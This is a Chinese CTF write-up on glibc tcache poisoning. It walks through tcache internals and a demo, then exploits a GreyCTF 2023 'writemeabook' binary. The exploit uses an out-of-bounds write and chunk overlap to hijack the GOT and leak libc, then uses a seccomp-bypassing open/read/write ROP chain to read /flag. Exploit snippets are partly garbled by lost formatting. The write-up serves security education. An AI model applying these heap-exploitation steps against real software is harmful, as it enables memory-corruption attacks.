一文带你理解tcache缓存投毒
文章首发于 https://xz.aliyun.com/t/12600 tcache 结构分析
Tcache(Thread Cache)是 glibc(GNU C Library)从 2.26 版本开始引入的一个特性,旨在提升内存分配性能。在 tcache 中,每个线程都有自己的缓存,可以减少线程间的互斥和锁的竞争。
默认情况下,大小小于等于 1032(0x408)字节的 chunk 会被放入 tcache 中。
分配释放:当程序进行 malloc 操作时,会优先检查 tcache 是否有可用的 chunk,如果有,就直接返回。同样,当进行 free 操作时,如果 chunk 的大小符合要求,并且对应的 tcache bin 还未满(默认每个 bin 可以存放 7 个 chunk),就会把 chunk 放入 tcache。否则,会按照原来的流程,放入 unsorted bin 或者其他的 bin 中。
数据结构:Tcache 的数据结构主要是一个数组,每个元素都是一个单向链表的头节点。数组的下标对应了 chunk 的大小,即第 i 个元素对应了大小为 (i+1)*16 的 chunk 的链表。链表中的每个节点都是一个空闲的 chunk,节点的第一个字段存放了指向下一个节点的指针。
tcache在内存中的数据结构示意图如下:
+----+ +------+ +------+| 0 | -> | chunk| --> | chunk| --> NULL+----+ +------+ +------+| 1 | -> NULL+----+| 2 | -> | chunk| --> NULL+----+ +------+| .. |+----+| n | -> | chunk| --> | chunk| --> | chunk| --> NULL+----+ +------+ +------+ +------+了解 tcache poisoning
我们先来看看缓存投毒的基本攻击思路,核心代码如下:
size_t stack_var; // 目标投毒的地址
intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);free(b);
b[0] = (intptr_t)&stack_var; // tcache poisoning !
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); // 此时我们已经获得了针对栈地址 &stack_var 读写控制权然后我们来分过程看每一个环节的堆内存布局变化
- 连续申请两个 chunk,再释放,此时释放的chunk进入到tcache管理起来
intptr_t *a = malloc(128); // addr: 0x5555555592a0intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);free(b);查看此时的堆内存布局
tcache链表有点像一个栈,遵循LIFO的原则
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0(0x90) tcache_entry[7](2): 0x555555559330 --> 0x5555555592a0 // 后面解释tcache_entry结构体- 根据上文提到的内存布局,相同大小的
tcache通过链表维护起来。修改指针指向(后面会分析),使得tcache链表的指针指向栈上的地址
size_t stack_var; // addr: 0x7fffffffe508b[0] = (intptr_t)&stack_var;此时我们观察到 tcache_entry[7] 的指向
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0(0x90) tcache_entry[7](2): 0x555555559330 --> 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x555555559320(freed) )- 申请一次tcache分配,此时获得是之前释放的b chunk
此时的tcache已经被
pwndbg> heapinfo(0x20) fastbin[0]: 0x0(0x30) fastbin[1]: 0x0(0x40) fastbin[2]: 0x0(0x50) fastbin[3]: 0x0(0x60) fastbin[4]: 0x0(0x70) fastbin[5]: 0x0(0x80) fastbin[6]: 0x0(0x90) fastbin[7]: 0x0(0xa0) fastbin[8]: 0x0(0xb0) fastbin[9]: 0x0 top: 0x5555555593b0 (size : 0x20c50) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0(0x90) tcache_entry[7](1): 0x7fffffffe508 --> 0x555555555410 (overlap chunk with 0x7fffffffe4f8(freed) )- 第二次申请tcache 分配,本来这里是获得之前的a chunk的,但是由于
tcache的指向已经发生了变化,导致我们可以获得一次针对栈上的地址进行读写的机会
若要细究其原理,得从glibc中对应的源码入手:
从源码层面分析 tcache
tache的数据结构如下:
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */typedef struct tcache_entry{ struct tcache_entry *next;} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */typedef struct tcache_perthread_struct{ char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;tcache_entry 结构体本质上是一个单链表指针,tcache_perthread_struct 存储了所有的 tcache 入口,通过 counts 记录每个 tcache 链的个数
tcache poisoning 漏洞涉及到两个函数:
- 分配函数
tcache_get- 找到对应的
tcache_entry表项 - 取出链表的头节点返回
- 找到对应的
- 回收函数
tcache_put- 将chunk强制转为
tcache_entry结构 - 头插法将其插入到对应的
tcache_entry表项中 本质上是用链表实现了一个栈结构,FIFO
- 将chunk强制转为
static void *tcache_get (size_t tc_idx){ tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); // 对应的tcache数量减少1 return (void *) e;}static voidtcache_put (mchunkptr chunk, size_t tc_idx){ tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; // 通过头插法插入新的chunk tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]);}重点是这行代码:
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);chunk2mem 的宏是这样的,即将chunk指针往后移动指向用户数据区域
/* Convert a chunk address to a user mem pointer without correcting the tag. */define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))而关键在于, 代码中直接强制转化,将其转为 tcache_entry 结构,这代表着,用户数据的前8个字节(64位)存储了 tcache 的 next 指针
这就意味着我们可以直接修改 next 指针,从而获得任意地址写的机会,因此 tcache 的利用相比 fastbin 事实上更加简单了
例题分析
题目源码和 exp 可以在这里找到 https://github.com/ret2school/ctf/tree/master/2023/greyctf/pwn/writemeabook main函数
main函数主要功能:
- 输入作者签名
- 调用
secure_library设置seccomp write_book程序主要功能
int __cdecl main(int argc, const char **argv, const char **envp){ setup(argc, argv, envp); puts("Welcome to the library of hopes and dreams!"); puts("\nWe heard about your journey..."); puts("and we want you to share about your experiences!"); puts("\nWhat would you like your author signature to be?"); printf("> "); LODWORD(author_signature) = ' yb'; __isoc99_scanf("%12s", (char *)&author_signature + 3); puts("\nGreat! We would like you to write no more than 10 books :)"); puts("Please feel at home."); secure_library(); write_books(); return puts("Goodbye!");}write_books
write_books 函数,功能总结为:
- 1337 能泄露出一次给定分配块的地址
- 1 新增一本书
- 2 编辑一本书
- 3 删除一本书
unsigned __int64 write_books(){ int choice; // [rsp+0h] [rbp-10h] BYREF int fav_num; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { print_menu(); __isoc99_scanf("%d", &choice); getchar(); if ( choice != 1337 ) break; if ( !secret_msg ) { printf("What is your favourite number? "); __isoc99_scanf("%d", &fav_num); if ( fav_num > 0 && fav_num <= 10 && slot[2 * fav_num - 2] ) printf("You found a secret message: %p\n", slot[2 * fav_num - 2]); secret_msg = 1; }LABEL_19: puts("Invalid choice."); } if ( choice > 1337 ) goto LABEL_19; if ( choice == 4 ) return v3 - __readfsqword(0x28u); if ( choice > 4 ) goto LABEL_19; switch ( choice ) { case 3: throw_book(); break; case 1: write_book(); break; case 2: rewrite_book(); break; default: goto LABEL_19; } }}write_book
向书架中插入一本书,并且在书的尾部,写上作者签名和一个 magic number
可以看到一个书chunk的大小为输入的内容 + 0x10,并且会存储在 book 结构体中的size字段
unsigned __int64 write_book(){ int idx2; // ebx _QWORD *v1; // rcx __int64 v2; // rdx int idx; // [rsp+4h] [rbp-4Ch] BYREF size_t size; // [rsp+8h] [rbp-48h] char buf[32]; // [rsp+10h] [rbp-40h] BYREF char v7; // [rsp+30h] [rbp-20h] unsigned __int64 v8; // [rsp+38h] [rbp-18h]
v8 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to insert your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx <= 0 || idx > 10 || slot[2 * idx - 2] ) { puts("Invaid slot!"); } else { --idx; // 书架的编号 memset(buf, 0, sizeof(buf)); v7 = 0; puts("Write me a book no more than 32 characters long!"); size = read(0, buf, 0x20uLL) + 0x10; // 读入0x20个字节的内容,还要加上尾部填充的0x10字节 idx2 = idx; slot[2 * idx2] = malloc(size); memcpy(slot[2 * idx], buf, size - 0x10); v1 = (char *)slot[2 * idx] + size - 0x10; // 指向用户数据的尾部 v2 = qword_4040D8; *v1 = *(_QWORD *)author_signature; // 写入作者签名和一个magic number v1[1] = v2; books[idx].size = size; // 这里存在问题,后续通过 books[idx].size 获取大小的时候要减掉0x10 puts("Your book has been published!\n"); } return v8 - __readfsqword(0x28u);}rewrite_book 漏洞点
编辑一本书,但是注意到这里能够输入的内容为 books[idx].size ,而这就意味着我们可以多输入 0x10 的内容(oob,即out-of-bounds)来实现 chunk overlap(因为上文分析道用户数据的长度事实上只有 books[idx].size - 0x10
unsigned __int64 rewrite_book(){ _QWORD *v0; // rcx __int64 v1; // rdx int idx; // [rsp+Ch] [rbp-14h] BYREF ssize_t v4; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to rewrite your book?"); printf("Index: "); __isoc99_scanf("%d", &idx); getchar(); if ( idx > 0 && idx <= 10 && slot[2 * idx - 2] ) { --idx; puts("Write me the new contents of your book that is no longer than what it was before."); v4 = read(0, slot[2 * idx], books[idx].size); // 从标准输入读取books[idx].size个字节到slot[2*idx]中 v0 = (__int64 *)((char *)slot[2 * idx]->buf + v4); v1 = qword_4040D8; *v0 = author_signature; v0[1] = v1; puts("Your book has been rewritten!\n"); } else { puts("Invaid slot!"); } return v5 - __readfsqword(0x28u);}throw_book
删除一本书,调用 free 函数
unsigned __int64 throw_book(){ int v1; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("\nAt which index of the shelf would you like to throw your book?"); printf("Index: "); __isoc99_scanf("%d", &v1); getchar(); if ( v1 > 0 && v1 <= 10 && slot[2 * v1 - 2] ) { free(slot[2 * --v1]); slot[2 * v1] = 0LL; puts("Your book has been thrown!\n"); } else { puts("Invaid slot!"); } return v2 - __readfsqword(0x28u);解题思路分析
题目存在很明显的漏洞点,即利用oob可以实现overlap
利用 tcache poisoning
来计算下我们要怎么做到 tcache poisioning
- 首先必须要两个 tcache,参照前面的示例(需要有一个tcache来修改指针指向)
- 其次,我们不能直接改 chunk 指针(前面的示例是在源码呢所以可以直接改),所以还需要一个快来通过overlap来修改指针
- 最后,为了达到 overlap 的目的,前面还需要一个块,通过oob溢出来实现overlap
malloc chunk
连续申请4个chunk,4个chunk的目的分别为:
- chunk1 泄露heap base addr + oob覆盖chunk2
- chunk2 修改 chunk3的next指针,实现
tcache poisoning - chunk3 通过next指针获得一段可写的内存
- chunk4 用作 0x40 tcache的填充
chunk1 oob to overlap
- 修改chunk1,oob修改chunk2的大小
- 释放chunk4,填充到0x40 tcache
- chunk2的大小被修改为0x40,和 chunk3 实现overlap
- 修改chunk2的内容,覆盖chunk3 的next指针
泄漏libc base
books结构体的地址是固定的,地址为 0x4040e0 ,每个 book 结构体前 0x8 个字节存储这本书的 size ,另外 0x8 字节存储这本书在 chunk 地址
当我们获得任意地址写的时候,就可以针对 0x4040e0 这个堆块去写入内容,再利用 rewrite_book 来实现劫持got表泄露 libc base addr
我们写入的内容为:
edit(1, pwn.flat([ 1== 0xff, sz exe.sym.stdout, target 2== 0x8, sz exe.got.free, target 3== 0x8, sz exe.sym.secret_msg, target 4== 0xff, sz exe.sym.books target ] + [0] * 0x60, filler = b"\x00"))观察内存布局:
pwndbg> x/40gx 0x4040e00x4040e0 <books>: 0x00000000000000ff 0x00000000004040a00x4040f0 <books+16>: 0x0000000000000008 0x00000000004040180x404100 <books+32>: 0x0000000000000008 0x00000000004040c00x404110 <books+48>: 0x00000000000000ff 0x00000000004040e00x404120 <books+64>: 0x0000000000000000 0x00000000000000000x404130 <books+80>: 0x0000000000000000 0x00000000000000000x404140 <books+96>: 0x0000000000000000 0x00000000000000000x404150 <books+112>: 0x0000000000000000 0x00000000000000000x404160 <books+128>: 0x0000000000000000 0x00000000000000000x404170 <books+144>: 0x0000000000000000 0x0000000000000000此时我们就可以理解为
- 第一本书的内存地址为
0x4040a0(实际上这个为 stdout 的got表) size 为0xff - 第二本书的内存地址为
0x404018(实际上这个为 free 的got表) size 为0xff - 第三本书的内存地址为
0x4040c0(实际上为secret_msg的地址),size 为0x8 - 第四本书的内存地址为
0x4040e0(实际上我sym.books的地址,方便我们二次写入,size 为0xff
于是可以劫持free的got表来实现打印 stdout@got 表项,再通过确定的偏移泄露出 libc base addr
free@got => puts edit(2, b"".join([ pwn.p64(exe.sym.puts) ]))ROP绕过seccomp
程序有 seccomp 保护,只允许 read 、 write 、 open 和 exit
于是我们需要通过向栈上写入ROP的方式来读flag,首先计算栈帧
泄露环境变量地址来计算栈帧(注意第4本书我们之前设置了指向自身,因此可以反复编辑)
leak stack (environ) edit(4, pwn.flat([ 1== 0xff, sz libc.sym.environ target ], filler = b"\x00"))栈帧地址:也就是调用这个函数返回的ret地址
获得栈帧地址后,使用 pwntools 自带的 rop 模块来实现
rop = pwn.ROP(libc, base=stackframe_rewrite)
setup the write to the rewrite stackframeedit(4, pwn.flat([ 1== 0xff, sz stackframe_rewrite target ], filler = b"\x00"))
ROPchainrop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY) openrop.call(rop.find_gadget(["syscall", "ret"]))rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100) file descriptor bf ...rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100) writerop.call(rop.find_gadget(["syscall", "ret"]))rop.exit(0x1337)rop.raw(b"/flag\x00")EXP调试
由于堆内存布局的原因,地址可能不一样,这里记录某次调试过程:
分配4个chunk
Book的结构如下:
4个chunk的布局
oob
chunk2 => sz extended edit(1, b"K"*0x20)此时的chunk2大小已经被修改了
tcache poisoning
此时 tcache3 的 next 指针已经被修改了
任意地址写
利用 tcache poisioning 修改 books 的结构,布局如下,至此 tcache poisoning 的利用就完成了
参考 how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub